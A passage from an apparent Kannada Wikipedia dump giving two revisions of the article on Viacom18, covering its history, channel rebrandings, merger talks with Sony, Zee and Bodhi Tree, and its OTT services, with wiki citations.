January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, ವಿಯಾಕಾಂ 18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಸಹ ನೋಡಿ == * ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == ಉಲ್ಲೇಖಗಳು == {{Reflist|refs="Viacom18 Media Pvt. Ltd". Viacom18.com. Archived from the original on 23 October 2018. Retrieved 27 July 2018. "TV18 Broadcast Ltd (CRD)" (PDF). BSEIndia. Archived from the original (PDF) on 23 September 2015. "Corporate restructure complete for India's Network18". rapidtvnews.com. Retrieved 10 August 2017. "Beefing Up The Bouquet". business.outlookindia.com. Retrieved 10 August 2018. "Viacom18 launches its new channel 'sonic' in India". India Infoline. 5 December 2018. Retrieved 26 December 2018. "TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc". Viacom18. 31 January 2018. Retrieved 31 January 2018. "Our Channels - On Air". viacom18.com. https://bestmediainfo.com/2019/09/colors-telugu-goes- digital-first-to-launch-on-voot-on-sept-23/ https://brandequity.economictimes.indiatimes.com/news/media/viacom18-goes-digital-first-launches-colors- telugu-on-voot/71187480}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] fchxgb5y3sk32v2uf1ibj3e4vkuixf2 1116421 1116408 2022-08-23T12:15:10Z Ishqyk 76644 wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ ಟಿವಿ18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. {{Infobox company | name = ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್ | logo = Viacom 18.svg | type = ಜಂಟಿ ಉದ್ಯಮ | industry = [[ದೂರದರ್ಶನ]] | foundation = {{start date and age|2007|11}} | location = [[ವೈಲ್ ಪಾರ್ಲೆ]], [[ಮುಂಬೈ]], [[ಮಹಾರಾಷ್ಟ್ರ]], ಭಾರತ<ref>{{Cite web|url=http://www.viacom18.com/contact.html |title=Viacom18 Media Pvt. Ltd |publisher=Viacom18.com |access-date=27 July 2018|url-status=dead |archive-url=https://web.archive.org/web/20111023065128/http://www.viacom18.com/contact.html |archive-date=23 October 2018 }}</ref> | key_people = ಜ್ಯೋತಿ ದೇಶಪಾಂಡೆ (ಸಿ ಈ ಓ) | owners = ನೆಟ್ವರ್ಕ್18 ಗುಂಪು (51%)<br />[[ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA1]] (49%) | subsid = | homepage = {{URL|https://www.viacom18.com/|ವಿಯಾಕಾಂ 18. ಕೋಂ}} }} == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, ಟಿವಿ 18, ಈ ಟಿವಿ ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ಈ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ಈಟಿವಿ ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ಈಟಿವಿ ಮರಾಠಿ, ಈಟಿವಿ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಮತ್ತು ಈಟಿವಿ ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, ಟಿವಿ18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವಿಯಾಕಾಂ ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ವಿಯಾಕಾಂ ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, ವಿಯಾಕಾಂ 18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಸಹ ನೋಡಿ == * ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == ಉಲ್ಲೇಖಗಳು == {{Reflist|refs="Viacom18 Media Pvt. Ltd". Viacom18.com. Archived from the original on 23 October 2018. Retrieved 27 July 2018. "TV18 Broadcast Ltd (CRD)" (PDF). BSEIndia. Archived from the original (PDF) on 23 September 2015. "Corporate restructure complete for India's Network18". rapidtvnews.com. Retrieved 10 August 2017. "Beefing Up The Bouquet". business.outlookindia.com. Retrieved 10 August 2018. "Viacom18 launches its new channel 'sonic' in India". India Infoline. 5 December 2018. Retrieved 26 December 2018. "TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc". Viacom18. 31 January 2018. Retrieved 31 January 2018. "Our Channels - On Air". viacom18.com. https://bestmediainfo.com/2019/09/colors-telugu-goes- digital-first-to-launch-on-voot-on-sept-23/ 